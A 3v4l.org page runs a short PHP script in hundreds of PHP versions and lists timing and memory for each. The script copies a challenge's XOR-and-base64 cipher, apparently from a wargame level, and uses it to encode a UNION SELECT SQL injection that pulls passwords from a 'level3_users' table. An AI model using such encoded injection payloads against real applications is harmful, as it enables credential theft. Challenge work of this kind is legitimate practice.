3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,password,5,6,7 FROM level3_users WHERE Username=Admin--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00018.68
8.3.50.0090.00922.11
8.3.40.0040.01118.82
8.3.30.0100.01020.34
8.3.20.0090.00020.34
8.3.10.0080.00022.13
8.3.00.0080.00022.41
8.2.180.0160.00616.75
8.2.170.0150.00622.96
8.2.160.0130.00022.26
8.2.150.0040.00424.18
8.2.140.0150.00024.66
8.2.130.0060.00326.16
8.2.120.0000.00819.79
8.2.110.0030.00722.07
8.2.100.0040.00817.91
8.2.90.0050.00320.59
8.2.80.0030.00617.97
8.2.70.0070.00317.88
8.2.60.0080.00018.05
8.2.50.0080.00018.10
8.2.40.0070.00020.61
8.2.30.0000.00818.20
8.2.20.0080.00017.96
8.2.10.0000.00818.00
8.2.00.0070.00317.94
8.1.280.0110.01125.92
8.1.270.0040.00424.66
8.1.260.0040.00426.35
8.1.250.0050.00328.09
8.1.240.0050.00522.33
8.1.230.0110.00022.88
8.1.220.0040.00417.74
8.1.210.0000.00818.97
8.1.200.0000.00917.60
8.1.190.0000.00817.61
8.1.180.0060.00318.10
8.1.170.0030.00618.75
8.1.160.0040.00422.11
8.1.150.0000.00818.80
8.1.140.0080.00017.58
8.1.130.0000.00817.85
8.1.120.0040.00417.66
8.1.110.0040.00417.59
8.1.100.0000.00717.63
8.1.90.0040.00417.64
8.1.80.0070.00017.67
8.1.70.0000.00717.59
8.1.60.0060.00317.80
8.1.50.0040.00417.56
8.1.40.0040.00417.71
8.1.30.0000.00717.72
8.1.20.0040.00417.89
8.1.10.0030.00517.75
8.1.00.0080.00017.75
8.0.300.0040.00420.16
8.0.290.0040.00416.75
8.0.280.0040.00418.38
8.0.270.0030.00717.33
8.0.260.0040.00417.05
8.0.250.0000.00717.14
8.0.240.0040.00417.01
8.0.230.0000.00717.18
8.0.220.0030.00317.05
8.0.210.0030.00517.08
8.0.200.0030.00317.16
8.0.190.0040.00417.03
8.0.180.0100.00316.99
8.0.170.0000.00717.07
8.0.160.0050.00317.02
8.0.150.0000.00717.05
8.0.140.0000.00817.05
8.0.130.0000.00613.48
8.0.120.0050.00317.05
8.0.110.0000.00716.95
8.0.100.0030.00516.88
8.0.90.0000.00717.10
8.0.80.0120.00917.13
8.0.70.0000.00716.86
8.0.60.0000.00817.11
8.0.50.0040.00417.02
8.0.30.0100.01217.45
8.0.20.0130.00617.44
8.0.10.0040.00417.08
8.0.00.0030.01517.09
7.4.330.0000.00515.00
7.4.320.0000.00616.75
7.4.300.0030.00316.82
7.4.290.0030.00316.75
7.4.280.0030.00316.86
7.4.270.0050.00316.77
7.4.260.0000.00716.82
7.4.250.0050.00316.73
7.4.240.0030.00416.82
7.4.230.0040.00416.64
7.4.220.0060.01216.68
7.4.210.0080.01016.85
7.4.200.0040.00416.57
7.4.190.0000.00716.73
7.4.160.0100.00716.53
7.4.150.0200.00317.40
7.4.140.0150.00317.86
7.4.130.0100.00716.78
7.4.120.0090.00816.81
7.4.110.0070.01016.76
7.4.100.0070.01416.88
7.4.90.0110.00716.79
7.4.80.0100.01119.39
7.4.70.0110.00516.80
7.4.60.0080.01116.61
7.4.50.0000.00816.55
7.4.40.0030.01322.77
7.4.30.0070.01016.82
7.4.00.0100.00715.15
7.3.330.0000.00613.36
7.3.320.0030.00313.53
7.3.310.0030.00316.45
7.3.300.0040.00416.42
7.3.290.0090.00616.55
7.3.280.0080.00816.53
7.3.270.0070.01017.40
7.3.260.0150.00916.58
7.3.250.0040.01416.67
7.3.240.0070.01116.51
7.3.230.0110.01116.88
7.3.210.0080.00816.59
7.3.200.0160.00719.39
7.3.190.0030.01416.55
7.3.180.0100.00616.66
7.3.170.0140.00316.50
7.3.160.0080.01216.90
7.3.120.0100.00715.30
7.2.330.0060.01217.00
7.2.320.0190.00316.95
7.2.310.0130.00616.93
7.2.300.0080.00816.93
7.2.290.0100.01016.87
7.2.00.0000.01319.54
7.1.100.0030.01218.50
7.1.70.0000.00917.43
7.1.60.0100.01319.43
7.1.50.0070.00717.02
7.1.00.0000.07722.34
7.0.200.0000.00716.96
7.0.140.0000.07721.92
7.0.60.0130.07720.10
7.0.50.0070.04317.94
7.0.40.0130.08020.26
7.0.30.0270.08720.10
7.0.20.0300.04720.12
7.0.10.0100.06320.32
7.0.00.0100.08320.20
5.6.280.0070.06720.93
5.6.210.0070.07320.68
5.6.200.0170.04718.14
5.6.190.0070.04320.52
5.6.180.0200.07320.50
5.6.170.0270.07320.50
5.6.160.0100.06320.47
5.6.150.0100.03718.16
5.6.140.0100.08018.15
5.6.130.0100.03718.21
5.6.120.0100.08321.02
5.6.110.0030.04021.05
5.6.100.0100.08021.09
5.6.90.0130.07720.98
5.6.80.0100.07720.39
5.6.70.4230.04320.36
5.5.350.0030.07320.41
5.5.340.0100.07018.00
5.5.330.0070.08320.31
5.5.320.0330.06320.35
5.5.310.0300.06020.27
5.5.300.0070.03717.94
5.5.290.0170.04017.93
5.5.280.0130.04320.66
5.5.270.0100.05720.80
5.5.260.0200.07320.87
5.5.250.0170.07720.62
5.5.240.0000.07320.27
5.4.450.0300.06019.56
5.4.440.1100.07019.59
5.4.430.0830.06719.50
5.4.420.0970.04719.40
5.4.410.0100.05718.95
5.4.400.0400.05318.77
5.4.390.0370.06718.79
5.4.380.0200.05318.57
5.4.370.0430.05318.76
5.4.360.0230.04718.84
5.4.350.0100.03212.02
5.4.340.0060.04212.02
5.4.320.0130.04912.50
5.4.310.0050.03912.50
5.4.300.0070.03612.51
5.4.290.0080.03812.50
5.4.280.0040.03712.40
5.4.270.0080.04112.41
5.4.260.0020.04212.40
5.4.250.0030.04112.40
5.4.240.0040.04012.41
5.4.230.0080.04912.40
5.4.220.0070.03612.39
5.4.210.0030.04012.40
5.4.200.0070.03512.39
5.4.190.0060.04012.39
5.4.180.0090.03412.39
5.4.170.0100.05019.01
5.4.160.0100.04718.94
5.4.150.0100.05318.97
5.4.140.0100.05016.44
5.4.130.0030.06016.64
5.4.120.0030.05016.40
5.4.110.0030.05716.62
5.4.100.0070.05016.66
5.4.90.0070.05016.66
5.4.80.0070.04716.35
5.4.70.0100.04716.35
5.4.60.0070.04716.45
5.4.50.0100.04316.29
5.4.40.0070.05316.43
5.4.30.0100.04716.61
5.4.20.0070.06016.58
5.4.10.0130.04716.48
5.4.00.0170.04015.98
5.3.290.0080.03812.80
5.3.280.0040.04012.71
5.3.270.0130.06314.69
5.3.260.0000.06014.70
5.3.250.0070.05014.84
5.3.240.0000.05714.68
5.3.230.0100.04714.79
5.3.220.0100.04714.66
5.3.210.0100.05014.71
5.3.200.0070.05014.64
5.3.190.0030.06014.80
5.3.180.0000.05714.64
5.3.170.0130.04314.54
5.3.160.0000.05714.66
5.3.150.0100.04714.66
5.3.140.0070.05014.63
5.3.130.0100.05014.52
5.3.120.0070.05314.53
5.3.110.0100.05314.55
5.3.100.0170.04714.26
5.3.90.0230.03714.16
5.3.80.0070.05714.01
5.3.70.0030.07014.03
5.3.60.0100.06313.97
5.3.50.0230.03314.04
5.3.40.0130.05014.18
5.3.30.0100.04313.92
5.3.20.0130.06713.71
5.3.10.0100.04713.66
5.3.00.0070.07713.71
5.2.170.0100.04311.23
5.2.160.0070.04011.32
5.2.150.0100.05311.16
5.2.140.0030.04311.37
5.2.130.0170.03011.08
5.2.120.0070.05711.18
5.2.110.0000.04711.18
5.2.100.0130.05711.19
5.2.90.0000.06711.19
5.2.80.0030.06311.27
5.2.70.0130.03311.05
5.2.60.0100.03711.15
5.2.50.0100.05310.93
5.2.40.0030.04010.99
5.2.30.0070.04010.94
5.2.20.0030.04010.80
5.2.10.0030.04010.93
5.2.00.0030.04010.65
5.1.60.0070.03010.25
5.1.50.0030.0379.98
5.1.40.0100.0479.99
5.1.30.0070.05010.42
5.1.20.0070.03310.19
5.1.10.0070.03310.17
5.1.00.0000.04010.14
5.0.50.0130.0338.59
5.0.40.0030.0278.49
5.0.30.0070.0408.24
5.0.20.0030.0338.20
5.0.10.0070.0278.34
5.0.00.0030.0438.25
4.4.90.0030.0236.96
4.4.80.0070.0276.96
4.4.70.0000.0236.96
4.4.60.0070.0176.96
4.4.50.0030.0206.96
4.4.40.0030.0336.96
4.4.30.0030.0206.96
4.4.20.0030.0306.96
4.4.10.0000.0236.96
4.4.00.0070.0306.96
4.3.110.0030.0236.96
4.3.100.0000.0306.96
4.3.90.0070.0176.96
4.3.80.0030.0306.96
4.3.70.0030.0206.96
4.3.60.0030.0206.96
4.3.50.0000.0276.96
4.3.40.0000.0406.96
4.3.30.0000.0276.96
4.3.20.0070.0176.96
4.3.10.0030.0276.96
4.3.00.0130.0206.88

preferences:
40.86 ms | 401 KiB | 5 Q